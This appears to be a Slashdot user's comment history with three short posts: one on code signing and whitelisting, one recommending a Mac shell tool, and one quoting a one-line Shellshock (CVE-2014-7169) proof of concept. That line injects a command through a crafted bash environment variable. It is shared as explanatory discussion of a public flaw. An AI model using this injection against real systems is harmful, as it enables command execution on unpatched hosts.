forgery--
Re:Notepad++ drops code signing for its releases
on Thursday March 07, 2019 @05:25PM (#19333184)
Companies using Carbon Black Protection (Bit9) or similar application whitelisting systems use signing certificates to help approve software. Once I approve the "Simon Tatham" certificate for my company, anyone can download the latest version of PuTTY and run it without issue. I wish the trend was for more software to be signed.
Re:The new MacBook
on Monday March 09, 2015 @10:27PM (#9175640)
You might check out GoToShell: http://zipzapmac.com/Go2Shell
Re:CVE-2014-7169: Bash Fix Incomplete, Still Exploitable
on Wednesday September 24, 2014 @10:23PM (#8365239)
Another PoC:
env -i X='() { (a)=>\' bash -c 'echo curl -s https://bugzilla.redhat.com/'; head echo
Creates file called echo and outputs the contents using head.
(from https://bugzilla.redhat.com/show_bug.cgi?id=1141597#c24)